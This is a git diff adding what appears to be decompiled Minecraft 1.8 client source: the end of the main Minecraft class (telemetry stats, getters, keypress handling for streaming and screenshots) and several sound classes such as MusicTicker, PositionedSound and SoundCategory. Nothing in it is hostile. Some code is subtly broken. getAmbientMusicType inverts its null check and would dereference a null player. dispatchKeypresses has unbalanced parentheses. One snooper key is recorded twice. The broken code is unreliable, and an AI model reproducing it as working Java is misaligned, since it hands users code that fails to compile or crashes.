+    playerSnooper.addStatToSnooper("gl_caps[EXT_texture_integer]", Boolean.valueOf(GL_EXT_texture_integer));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_texture_lod_bias]", Boolean.valueOf(GL_EXT_texture_lod_bias));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_texture_sRGB]", Boolean.valueOf(GL_EXT_texture_sRGB));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_vertex_shader]", Boolean.valueOf(GL_EXT_vertex_shader));
+    playerSnooper.addStatToSnooper("gl_caps[EXT_vertex_weighting]", Boolean.valueOf(GL_EXT_vertex_weighting));
+    playerSnooper.addStatToSnooper("gl_caps[gl_max_vertex_uniforms]", Integer.valueOf(GL11.glGetInteger(35658)));
+    GL11.glGetError();
+    playerSnooper.addStatToSnooper("gl_caps[gl_max_fragment_uniforms]", Integer.valueOf(GL11.glGetInteger(35657)));
+    GL11.glGetError();
+    playerSnooper.addStatToSnooper("gl_caps[gl_max_vertex_attribs]", Integer.valueOf(GL11.glGetInteger(34921)));
+    GL11.glGetError();
+    playerSnooper.addStatToSnooper("gl_caps[gl_max_vertex_texture_image_units]", Integer.valueOf(GL11.glGetInteger(35660)));
+    GL11.glGetError();
+    playerSnooper.addStatToSnooper("gl_caps[gl_max_texture_image_units]", Integer.valueOf(GL11.glGetInteger(34930)));
+    GL11.glGetError();
+    playerSnooper.addStatToSnooper("gl_caps[gl_max_texture_image_units]", Integer.valueOf(GL11.glGetInteger(35071)));
+    GL11.glGetError();
+    playerSnooper.addStatToSnooper("gl_max_texture_size", Integer.valueOf(getGLMaximumTextureSize()));
+  }
+  
+
+
+
+  public static int getGLMaximumTextureSize()
+  {
+    for (int var0 = 16384; var0 > 0; var0 >>= 1)
+    {
+      GL11.glTexImage2D(32868, 0, 6408, var0, var0, 0, 6408, 5121, null);
+      int var1 = GL11.glGetTexLevelParameteri(32868, 0, 4096);
+      
+      if (var1 != 0)
+      {
+        return var0;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+  public boolean isSnooperEnabled()
+  {
+    return gameSettings.snooperEnabled;
+  }
+  
+
+
+
+  public void setServerData(ServerData serverDataIn)
+  {
+    currentServerData = serverDataIn;
+  }
+  
+  public ServerData getCurrentServerData()
+  {
+    return currentServerData;
+  }
+  
+  public boolean isIntegratedServerRunning()
+  {
+    return integratedServerIsRunning;
+  }
+  
+
+
+
+  public boolean isSingleplayer()
+  {
+    return (integratedServerIsRunning) && (theIntegratedServer != null);
+  }
+  
+
+
+
+  public IntegratedServer getIntegratedServer()
+  {
+    return theIntegratedServer;
+  }
+  
+  public static void stopIntegratedServer()
+  {
+    if (theMinecraft != null)
+    {
+      IntegratedServer var0 = theMinecraft.getIntegratedServer();
+      
+      if (var0 != null)
+      {
+        var0.stopServer();
+      }
+    }
+  }
+  
+
+
+
+  public PlayerUsageSnooper getPlayerUsageSnooper()
+  {
+    return usageSnooper;
+  }
+  
+
+
+
+  public static long getSystemTime()
+  {
+    return Sys.getTime() * 1000L / Sys.getTimerResolution();
+  }
+  
+
+
+
+  public boolean isFullScreen()
+  {
+    return fullscreen;
+  }
+  
+  public Session getSession()
+  {
+    return session;
+  }
+  
+  public PropertyMap func_180509_L()
+  {
+    return twitchDetails;
+  }
+  
+  public Proxy getProxy()
+  {
+    return proxy;
+  }
+  
+  public TextureManager getTextureManager()
+  {
+    return renderEngine;
+  }
+  
+  public IResourceManager getResourceManager()
+  {
+    return mcResourceManager;
+  }
+  
+  public ResourcePackRepository getResourcePackRepository()
+  {
+    return mcResourcePackRepository;
+  }
+  
+  public LanguageManager getLanguageManager()
+  {
+    return mcLanguageManager;
+  }
+  
+  public TextureMap getTextureMapBlocks()
+  {
+    return textureMapBlocks;
+  }
+  
+  public boolean isJava64bit()
+  {
+    return jvm64bit;
+  }
+  
+  public boolean isGamePaused()
+  {
+    return isGamePaused;
+  }
+  
+  public SoundHandler getSoundHandler()
+  {
+    return mcSoundHandler;
+  }
+  
+  public MusicTicker.MusicType getAmbientMusicType()
+  {
+    return thePlayer != null ? MusicTicker.MusicType.GAME : (thePlayer.capabilities.isCreativeMode) && (thePlayer.capabilities.allowFlying) ? MusicTicker.MusicType.CREATIVE : (thePlayer.worldObj.provider instanceof WorldProviderEnd) ? MusicTicker.MusicType.END : (BossStatus.bossName != null) && (BossStatus.statusBarTime > 0) ? MusicTicker.MusicType.END_BOSS : (thePlayer.worldObj.provider instanceof net.minecraft.world.WorldProviderHell) ? MusicTicker.MusicType.NETHER : (currentScreen instanceof GuiWinGame) ? MusicTicker.MusicType.CREDITS : MusicTicker.MusicType.MENU;
+  }
+  
+  public IStream getTwitchStream()
+  {
+    return stream;
+  }
+  
+  public void dispatchKeypresses()
+  {
+    int var1 = Keyboard.getEventKey() == 0 ? Keyboard.getEventCharacter() : Keyboard.getEventKey();
+    
+    if ((var1 != 0) && (!Keyboard.isRepeatEvent()))
+    {
+      if ((!(currentScreen instanceof GuiControls)) || (currentScreen).time <= getSystemTime() - 20L))
+      {
+        if (Keyboard.getEventKeyState())
+        {
+          if (var1 == gameSettings.keyBindStreamStartStop.getKeyCode())
+          {
+            if (getTwitchStream().func_152934_n())
+            {
+              getTwitchStream().func_152914_u();
+            }
+            else if (getTwitchStream().func_152924_m())
+            {
+              displayGuiScreen(new GuiYesNo(new GuiYesNoCallback()
+              {
+                private static final String __OBFID = "CL_00001852";
+                
+                public void confirmClicked(boolean result, int id) {
+                  if (result)
+                  {
+                    getTwitchStream().func_152930_t();
+                  }
+                  
+                  displayGuiScreen(null);
+                }
+              }, I18n.format("stream.confirm_start", new Object[0]), "", 0));
+            }
+            else if ((getTwitchStream().func_152928_D()) && (getTwitchStream().func_152936_l()))
+            {
+              if (theWorld != null)
+              {
+                ingameGUI.getChatGUI().printChatMessage(new ChatComponentText("Not ready to start streaming yet!"));
+              }
+              
+            }
+            else {
+              GuiStreamUnavailable.func_152321_a(currentScreen);
+            }
+          }
+          else if (var1 == gameSettings.keyBindStreamPauseUnpause.getKeyCode())
+          {
+            if (getTwitchStream().func_152934_n())
+            {
+              if (getTwitchStream().isPaused())
+              {
+                getTwitchStream().func_152933_r();
+              }
+              else
+              {
+                getTwitchStream().func_152916_q();
+              }
+            }
+          }
+          else if (var1 == gameSettings.keyBindStreamCommercials.getKeyCode())
+          {
+            if (getTwitchStream().func_152934_n())
+            {
+              getTwitchStream().func_152931_p();
+            }
+          }
+          else if (var1 == gameSettings.keyBindStreamToggleMic.getKeyCode())
+          {
+            stream.func_152910_a(true);
+          }
+          else if (var1 == gameSettings.keyBindFullscreen.getKeyCode())
+          {
+            toggleFullscreen();
+          }
+          else if (var1 == gameSettings.keyBindScreenshot.getKeyCode())
+          {
+            ingameGUI.getChatGUI().printChatMessage(ScreenShotHelper.saveScreenshot(mcDataDir, displayWidth, displayHeight, framebufferMc));
+          }
+        }
+        else if (var1 == gameSettings.keyBindStreamToggleMic.getKeyCode())
+        {
+          stream.func_152910_a(false);
+        }
+      }
+    }
+  }
+  
+  public MinecraftSessionService getSessionService()
+  {
+    return sessionService;
+  }
+  
+  public SkinManager getSkinManager()
+  {
+    return skinManager;
+  }
+  
+  public Entity func_175606_aa()
+  {
+    return field_175622_Z;
+  }
+  
+  public void func_175607_a(Entity p_175607_1_)
+  {
+    field_175622_Z = p_175607_1_;
+    entityRenderer.func_175066_a(p_175607_1_);
+  }
+  
+  public ListenableFuture addScheduledTask(Callable callableToSchedule)
+  {
+    Validate.notNull(callableToSchedule);
+    
+    if (!isCallingFromMinecraftThread())
+    {
+      ListenableFutureTask var2 = ListenableFutureTask.create(callableToSchedule);
+      Queue var3 = scheduledTasks;
+      
+      synchronized (scheduledTasks)
+      {
+        scheduledTasks.add(var2);
+        return var2;
+      }
+    }
+    
+
+    try
+    {
+      return Futures.immediateFuture(callableToSchedule.call());
+    }
+    catch (Exception var6)
+    {
+      return Futures.immediateFailedCheckedFuture(var6);
+    }
+  }
+  
+
+  public ListenableFuture addScheduledTask(Runnable runnableToSchedule)
+  {
+    Validate.notNull(runnableToSchedule);
+    return addScheduledTask(Executors.callable(runnableToSchedule));
+  }
+  
+  public boolean isCallingFromMinecraftThread()
+  {
+    return Thread.currentThread() == mcThread;
+  }
+  
+  public BlockRendererDispatcher getBlockRendererDispatcher()
+  {
+    return field_175618_aM;
+  }
+  
+  public RenderManager getRenderManager()
+  {
+    return renderManager;
+  }
+  
+  public RenderItem getRenderItem()
+  {
+    return renderItem;
+  }
+  
+  public ItemRenderer getItemRenderer()
+  {
+    return itemRenderer;
+  }
+  
+  public static int func_175610_ah()
+  {
+    return debugFPS;
+  }
+  
+  public static Map func_175596_ai()
+  {
+    HashMap var0 = Maps.newHashMap();
+    var0.put("X-Minecraft-Username", getMinecraft().getSession().getUsername());
+    var0.put("X-Minecraft-UUID", getMinecraft().getSession().getPlayerID());
+    var0.put("X-Minecraft-Version", "1.8");
+    return var0;
+  }
+  
+
+  static final class SwitchEnumMinecartType
+  {
+    static final int[] field_152390_a;
+    static final int[] field_178901_b = new int[EntityMinecart.EnumMinecartType.values().length];
+    private static final String __OBFID = "CL_00001959";
+    
+    static
+    {
+      try
+      {
+        field_178901_b[EntityMinecart.EnumMinecartType.FURNACE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178901_b[EntityMinecart.EnumMinecartType.CHEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178901_b[EntityMinecart.EnumMinecartType.TNT.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178901_b[EntityMinecart.EnumMinecartType.HOPPER.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178901_b[EntityMinecart.EnumMinecartType.COMMAND_BLOCK.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      field_152390_a = new int[MovingObjectPosition.MovingObjectType.values().length];
+      
+      try
+      {
+        field_152390_a[MovingObjectPosition.MovingObjectType.ENTITY.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_152390_a[MovingObjectPosition.MovingObjectType.BLOCK.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_152390_a[MovingObjectPosition.MovingObjectType.MISS.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+    }
+    
+    SwitchEnumMinecartType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/GuardianSound.java b/src/minecraft/net/minecraft/client/audio/GuardianSound.java
new file mode 100644
index 0000000..0d8f44d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/GuardianSound.java
@@ -0,0 +1,39 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.util.ResourceLocation;
+
+public class GuardianSound extends MovingSound
+{
+  private final EntityGuardian guardian;
+  private static final String __OBFID = "CL_00002381";
+  
+  public GuardianSound(EntityGuardian guardian)
+  {
+    super(new ResourceLocation("minecraft:mob.guardian.attack"));
+    this.guardian = guardian;
+    attenuationType = ISound.AttenuationType.NONE;
+    repeat = true;
+    repeatDelay = 0;
+  }
+  
+
+
+
+  public void update()
+  {
+    if ((!guardian.isDead) && (guardian.func_175474_cn()))
+    {
+      xPosF = ((float)guardian.posX);
+      yPosF = ((float)guardian.posY);
+      zPosF = ((float)guardian.posZ);
+      float var1 = guardian.func_175477_p(0.0F);
+      volume = (0.0F + 1.0F * var1 * var1);
+      pitch = (0.7F + 0.5F * var1);
+    }
+    else
+    {
+      donePlaying = true;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/ISound.java b/src/minecraft/net/minecraft/client/audio/ISound.java
new file mode 100644
index 0000000..0f70b3f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/ISound.java
@@ -0,0 +1,44 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.util.ResourceLocation;
+
+public abstract interface ISound
+{
+  public abstract ResourceLocation getSoundLocation();
+  
+  public abstract boolean canRepeat();
+  
+  public abstract int getRepeatDelay();
+  
+  public abstract float getVolume();
+  
+  public abstract float getPitch();
+  
+  public abstract float getXPosF();
+  
+  public abstract float getYPosF();
+  
+  public abstract float getZPosF();
+  
+  public abstract AttenuationType getAttenuationType();
+  
+  public static enum AttenuationType
+  {
+    NONE("NONE", 0, 0), 
+    LINEAR("LINEAR", 1, 2);
+    
+    private final int type;
+    private static final AttenuationType[] $VALUES = { NONE, LINEAR };
+    private static final String __OBFID = "CL_00001126";
+    
+    private AttenuationType(String p_i45110_1_, int p_i45110_2_, int p_i45110_3_)
+    {
+      type = p_i45110_3_;
+    }
+    
+    public int getTypeInt()
+    {
+      return type;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/ISoundEventAccessor.java b/src/minecraft/net/minecraft/client/audio/ISoundEventAccessor.java
new file mode 100644
index 0000000..0eb4839
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/ISoundEventAccessor.java
@@ -0,0 +1,8 @@
+package net.minecraft.client.audio;
+
+public abstract interface ISoundEventAccessor
+{
+  public abstract int getWeight();
+  
+  public abstract Object cloneEntry();
+}
diff --git a/src/minecraft/net/minecraft/client/audio/ITickableSound.java b/src/minecraft/net/minecraft/client/audio/ITickableSound.java
new file mode 100644
index 0000000..af4c211
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/ITickableSound.java
@@ -0,0 +1,9 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+
+public abstract interface ITickableSound
+  extends ISound, IUpdatePlayerListBox
+{
+  public abstract boolean isDonePlaying();
+}
diff --git a/src/minecraft/net/minecraft/client/audio/MovingSound.java b/src/minecraft/net/minecraft/client/audio/MovingSound.java
new file mode 100644
index 0000000..880bd4d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/MovingSound.java
@@ -0,0 +1,19 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.util.ResourceLocation;
+
+public abstract class MovingSound extends PositionedSound implements ITickableSound
+{
+  protected boolean donePlaying = false;
+  private static final String __OBFID = "CL_00001117";
+  
+  protected MovingSound(ResourceLocation location)
+  {
+    super(location);
+  }
+  
+  public boolean isDonePlaying()
+  {
+    return donePlaying;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/MovingSoundMinecart.java b/src/minecraft/net/minecraft/client/audio/MovingSoundMinecart.java
new file mode 100644
index 0000000..534a08a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/MovingSoundMinecart.java
@@ -0,0 +1,49 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class MovingSoundMinecart extends MovingSound
+{
+  private final EntityMinecart minecart;
+  private float field_147669_l = 0.0F;
+  private static final String __OBFID = "CL_00001118";
+  
+  public MovingSoundMinecart(EntityMinecart p_i45105_1_)
+  {
+    super(new ResourceLocation("minecraft:minecart.base"));
+    minecart = p_i45105_1_;
+    repeat = true;
+    repeatDelay = 0;
+  }
+  
+
+
+
+  public void update()
+  {
+    if (minecart.isDead)
+    {
+      donePlaying = true;
+    }
+    else
+    {
+      xPosF = ((float)minecart.posX);
+      yPosF = ((float)minecart.posY);
+      zPosF = ((float)minecart.posZ);
+      float var1 = MathHelper.sqrt_double(minecart.motionX * minecart.motionX + minecart.motionZ * minecart.motionZ);
+      
+      if (var1 >= 0.01D)
+      {
+        field_147669_l = MathHelper.clamp_float(field_147669_l + 0.0025F, 0.0F, 1.0F);
+        volume = (0.0F + MathHelper.clamp_float(var1, 0.0F, 0.5F) * 0.7F);
+      }
+      else
+      {
+        field_147669_l = 0.0F;
+        volume = 0.0F;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/MovingSoundMinecartRiding.java b/src/minecraft/net/minecraft/client/audio/MovingSoundMinecartRiding.java
new file mode 100644
index 0000000..854c1e5
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/MovingSoundMinecartRiding.java
@@ -0,0 +1,47 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class MovingSoundMinecartRiding extends MovingSound
+{
+  private final EntityPlayer player;
+  private final EntityMinecart minecart;
+  private static final String __OBFID = "CL_00001119";
+  
+  public MovingSoundMinecartRiding(EntityPlayer p_i45106_1_, EntityMinecart minecart)
+  {
+    super(new ResourceLocation("minecraft:minecart.inside"));
+    player = p_i45106_1_;
+    this.minecart = minecart;
+    attenuationType = ISound.AttenuationType.NONE;
+    repeat = true;
+    repeatDelay = 0;
+  }
+  
+
+
+
+  public void update()
+  {
+    if ((!minecart.isDead) && (player.isRiding()) && (player.ridingEntity == minecart))
+    {
+      float var1 = MathHelper.sqrt_double(minecart.motionX * minecart.motionX + minecart.motionZ * minecart.motionZ);
+      
+      if (var1 >= 0.01D)
+      {
+        volume = (0.0F + MathHelper.clamp_float(var1, 0.0F, 1.0F) * 0.75F);
+      }
+      else
+      {
+        volume = 0.0F;
+      }
+    }
+    else
+    {
+      donePlaying = true;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/MusicTicker.java b/src/minecraft/net/minecraft/client/audio/MusicTicker.java
new file mode 100644
index 0000000..bd6df68
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/MusicTicker.java
@@ -0,0 +1,90 @@
+package net.minecraft.client.audio;
+
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class MusicTicker implements IUpdatePlayerListBox
+{
+  private final Random rand = new Random();
+  private final Minecraft mc;
+  private ISound currentMusic;
+  private int timeUntilNextMusic = 100;
+  private static final String __OBFID = "CL_00001138";
+  
+  public MusicTicker(Minecraft mcIn)
+  {
+    mc = mcIn;
+  }
+  
+
+
+
+  public void update()
+  {
+    MusicType var1 = mc.getAmbientMusicType();
+    
+    if (currentMusic != null)
+    {
+      if (!var1.getMusicLocation().equals(currentMusic.getSoundLocation()))
+      {
+        mc.getSoundHandler().stopSound(currentMusic);
+        timeUntilNextMusic = MathHelper.getRandomIntegerInRange(rand, 0, var1.getMinDelay() / 2);
+      }
+      
+      if (!mc.getSoundHandler().isSoundPlaying(currentMusic))
+      {
+        currentMusic = null;
+        timeUntilNextMusic = Math.min(MathHelper.getRandomIntegerInRange(rand, var1.getMinDelay(), var1.getMaxDelay()), timeUntilNextMusic);
+      }
+    }
+    
+    if ((currentMusic == null) && (timeUntilNextMusic-- <= 0))
+    {
+      currentMusic = PositionedSoundRecord.createPositionedSoundRecord(var1.getMusicLocation());
+      mc.getSoundHandler().playSound(currentMusic);
+      timeUntilNextMusic = Integer.MAX_VALUE;
+    }
+  }
+  
+  public static enum MusicType
+  {
+    MENU("MENU", 0, new ResourceLocation("minecraft:music.menu"), 20, 600), 
+    GAME("GAME", 1, new ResourceLocation("minecraft:music.game"), 12000, 24000), 
+    CREATIVE("CREATIVE", 2, new ResourceLocation("minecraft:music.game.creative"), 1200, 3600), 
+    CREDITS("CREDITS", 3, new ResourceLocation("minecraft:music.game.end.credits"), Integer.MAX_VALUE, Integer.MAX_VALUE), 
+    NETHER("NETHER", 4, new ResourceLocation("minecraft:music.game.nether"), 1200, 3600), 
+    END_BOSS("END_BOSS", 5, new ResourceLocation("minecraft:music.game.end.dragon"), 0, 0), 
+    END("END", 6, new ResourceLocation("minecraft:music.game.end"), 6000, 24000);
+    
+    private final ResourceLocation musicLocation;
+    private final int minDelay;
+    private final int maxDelay;
+    private static final MusicType[] $VALUES = { MENU, GAME, CREATIVE, CREDITS, NETHER, END_BOSS, END };
+    private static final String __OBFID = "CL_00001139";
+    
+    private MusicType(String p_i45111_1_, int p_i45111_2_, ResourceLocation location, int p_i45111_4_, int p_i45111_5_)
+    {
+      musicLocation = location;
+      minDelay = p_i45111_4_;
+      maxDelay = p_i45111_5_;
+    }
+    
+    public ResourceLocation getMusicLocation()
+    {
+      return musicLocation;
+    }
+    
+    public int getMinDelay()
+    {
+      return minDelay;
+    }
+    
+    public int getMaxDelay()
+    {
+      return maxDelay;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/PositionedSound.java b/src/minecraft/net/minecraft/client/audio/PositionedSound.java
new file mode 100644
index 0000000..971f018
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/PositionedSound.java
@@ -0,0 +1,70 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.util.ResourceLocation;
+
+public abstract class PositionedSound implements ISound
+{
+  protected final ResourceLocation positionedSoundLocation;
+  protected float volume = 1.0F;
+  protected float pitch = 1.0F;
+  protected float xPosF;
+  protected float yPosF;
+  protected float zPosF;
+  protected boolean repeat = false;
+  
+
+  protected int repeatDelay = 0;
+  protected ISound.AttenuationType attenuationType;
+  private static final String __OBFID = "CL_00001116";
+  
+  protected PositionedSound(ResourceLocation soundResource)
+  {
+    attenuationType = ISound.AttenuationType.LINEAR;
+    positionedSoundLocation = soundResource;
+  }
+  
+  public ResourceLocation getSoundLocation()
+  {
+    return positionedSoundLocation;
+  }
+  
+  public boolean canRepeat()
+  {
+    return repeat;
+  }
+  
+  public int getRepeatDelay()
+  {
+    return repeatDelay;
+  }
+  
+  public float getVolume()
+  {
+    return volume;
+  }
+  
+  public float getPitch()
+  {
+    return pitch;
+  }
+  
+  public float getXPosF()
+  {
+    return xPosF;
+  }
+  
+  public float getYPosF()
+  {
+    return yPosF;
+  }
+  
+  public float getZPosF()
+  {
+    return zPosF;
+  }
+  
+  public ISound.AttenuationType getAttenuationType()
+  {
+    return attenuationType;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/PositionedSoundRecord.java b/src/minecraft/net/minecraft/client/audio/PositionedSoundRecord.java
new file mode 100644
index 0000000..556b513
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/PositionedSoundRecord.java
@@ -0,0 +1,41 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.util.ResourceLocation;
+
+public class PositionedSoundRecord extends PositionedSound
+{
+  private static final String __OBFID = "CL_00001120";
+  
+  public static PositionedSoundRecord createPositionedSoundRecord(ResourceLocation soundResource, float pitch)
+  {
+    return new PositionedSoundRecord(soundResource, 0.25F, pitch, false, 0, ISound.AttenuationType.NONE, 0.0F, 0.0F, 0.0F);
+  }
+  
+  public static PositionedSoundRecord createPositionedSoundRecord(ResourceLocation soundResource)
+  {
+    return new PositionedSoundRecord(soundResource, 1.0F, 1.0F, false, 0, ISound.AttenuationType.NONE, 0.0F, 0.0F, 0.0F);
+  }
+  
+  public static PositionedSoundRecord createRecordSoundAtPosition(ResourceLocation soundResource, float xPosition, float yPosition, float zPosition)
+  {
+    return new PositionedSoundRecord(soundResource, 4.0F, 1.0F, false, 0, ISound.AttenuationType.LINEAR, xPosition, yPosition, zPosition);
+  }
+  
+  public PositionedSoundRecord(ResourceLocation soundResource, float volume, float pitch, float xPosition, float yPosition, float zPosition)
+  {
+    this(soundResource, volume, pitch, false, 0, ISound.AttenuationType.LINEAR, xPosition, yPosition, zPosition);
+  }
+  
+  private PositionedSoundRecord(ResourceLocation soundResource, float volume, float pitch, boolean repeat, int repeatDelay, ISound.AttenuationType attenuationType, float xPosition, float yPosition, float zPosition)
+  {
+    super(soundResource);
+    this.volume = volume;
+    this.pitch = pitch;
+    xPosF = xPosition;
+    yPosF = yPosition;
+    zPosF = zPosition;
+    this.repeat = repeat;
+    this.repeatDelay = repeatDelay;
+    this.attenuationType = attenuationType;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundCategory.java b/src/minecraft/net/minecraft/client/audio/SoundCategory.java
new file mode 100644
index 0000000..2fcfd71
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundCategory.java
@@ -0,0 +1,94 @@
+package net.minecraft.client.audio;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+
+public enum SoundCategory
+{
+  MASTER("MASTER", 0, "master", 0), 
+  MUSIC("MUSIC", 1, "music", 1), 
+  RECORDS("RECORDS", 2, "record", 2), 
+  WEATHER("WEATHER", 3, "weather", 3), 
+  BLOCKS("BLOCKS", 4, "block", 4), 
+  MOBS("MOBS", 5, "hostile", 5), 
+  ANIMALS("ANIMALS", 6, "neutral", 6), 
+  PLAYERS("PLAYERS", 7, "player", 7), 
+  AMBIENT("AMBIENT", 8, "ambient", 8);
+  
+  private static final Map field_147168_j;
+  private static final Map field_147169_k;
+  private final String categoryName;
+  private final int categoryId;
+  private static final SoundCategory[] $VALUES;
+  private static final String __OBFID = "CL_00001686";
+  
+  private SoundCategory(String p_i45126_1_, int p_i45126_2_, String p_i45126_3_, int p_i45126_4_)
+  {
+    categoryName = p_i45126_3_;
+    categoryId = p_i45126_4_;
+  }
+  
+  public String getCategoryName()
+  {
+    return categoryName;
+  }
+  
+  public int getCategoryId()
+  {
+    return categoryId;
+  }
+  
+  public static SoundCategory func_147154_a(String p_147154_0_)
+  {
+    return (SoundCategory)field_147168_j.get(p_147154_0_);
+  }
+  
+  static
+  {
+    field_147168_j = Maps.newHashMap();
+    field_147169_k = Maps.newHashMap();
+    
+
+
+    $VALUES = new SoundCategory[] { MASTER, MUSIC, RECORDS, WEATHER, BLOCKS, MOBS, ANIMALS, PLAYERS, AMBIENT };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    SoundCategory[] var0 = values();
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      SoundCategory var3 = var0[var2];
+      
+      if ((field_147168_j.containsKey(var3.getCategoryName())) || (field_147169_k.containsKey(Integer.valueOf(var3.getCategoryId()))))
+      {
+        throw new Error("Clash in Sound Category ID & Name pools! Cannot insert " + var3);
+      }
+      
+      field_147168_j.put(var3.getCategoryName(), var3);
+      field_147169_k.put(Integer.valueOf(var3.getCategoryId()), var3);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundEventAccessor.java b/src/minecraft/net/minecraft/client/audio/SoundEventAccessor.java
new file mode 100644
index 0000000..c9ff096
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundEventAccessor.java
@@ -0,0 +1,29 @@
+package net.minecraft.client.audio;
+
+public class SoundEventAccessor implements ISoundEventAccessor
+{
+  private final SoundPoolEntry entry;
+  private final int weight;
+  private static final String __OBFID = "CL_00001153";
+  
+  SoundEventAccessor(SoundPoolEntry entry, int weight)
+  {
+    this.entry = entry;
+    this.weight = weight;
+  }
+  
+  public int getWeight()
+  {
+    return weight;
+  }
+  
+  public SoundPoolEntry cloneEntry()
+  {
+    return new SoundPoolEntry(entry);
+  }
+  
+  public Object cloneEntry1()
+  {
+    return cloneEntry();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundEventAccessorComposite.java b/src/minecraft/net/minecraft/client/audio/SoundEventAccessorComposite.java
new file mode 100644
index 0000000..1fc628d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundEventAccessorComposite.java
@@ -0,0 +1,102 @@
+package net.minecraft.client.audio;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.util.ResourceLocation;
+
+public class SoundEventAccessorComposite
+  implements ISoundEventAccessor
+{
+  private final List soundPool = Lists.newArrayList();
+  private final Random rnd = new Random();
+  private final ResourceLocation soundLocation;
+  private final SoundCategory category;
+  private double eventPitch;
+  private double eventVolume;
+  private static final String __OBFID = "CL_00001146";
+  
+  public SoundEventAccessorComposite(ResourceLocation soundLocation, double pitch, double volume, SoundCategory category)
+  {
+    this.soundLocation = soundLocation;
+    eventVolume = volume;
+    eventPitch = pitch;
+    this.category = category;
+  }
+  
+  public int getWeight()
+  {
+    int var1 = 0;
+    
+    ISoundEventAccessor var3;
+    for (Iterator var2 = soundPool.iterator(); var2.hasNext(); var1 += var3.getWeight())
+    {
+      var3 = (ISoundEventAccessor)var2.next();
+    }
+    
+    return var1;
+  }
+  
+  public SoundPoolEntry cloneEntry1()
+  {
+    int var1 = getWeight();
+    
+    if ((!soundPool.isEmpty()) && (var1 != 0))
+    {
+      int var2 = rnd.nextInt(var1);
+      Iterator var3 = soundPool.iterator();
+      
+      ISoundEventAccessor var4;
+      do
+      {
+        if (!var3.hasNext())
+        {
+          return SoundHandler.missing_sound;
+        }
+        
+        var4 = (ISoundEventAccessor)var3.next();
+        var2 -= var4.getWeight();
+      } while (
+      
+
+
+
+
+
+
+
+
+        var2 >= 0);
+      
+      SoundPoolEntry var5 = (SoundPoolEntry)var4.cloneEntry();
+      var5.setPitch(var5.getPitch() * eventPitch);
+      var5.setVolume(var5.getVolume() * eventVolume);
+      return var5;
+    }
+    
+
+    return SoundHandler.missing_sound;
+  }
+  
+
+  public void addSoundToEventPool(ISoundEventAccessor p_148727_1_)
+  {
+    soundPool.add(p_148727_1_);
+  }
+  
+  public ResourceLocation getSoundEventLocation()
+  {
+    return soundLocation;
+  }
+  
+  public SoundCategory getSoundCategory()
+  {
+    return category;
+  }
+  
+  public Object cloneEntry()
+  {
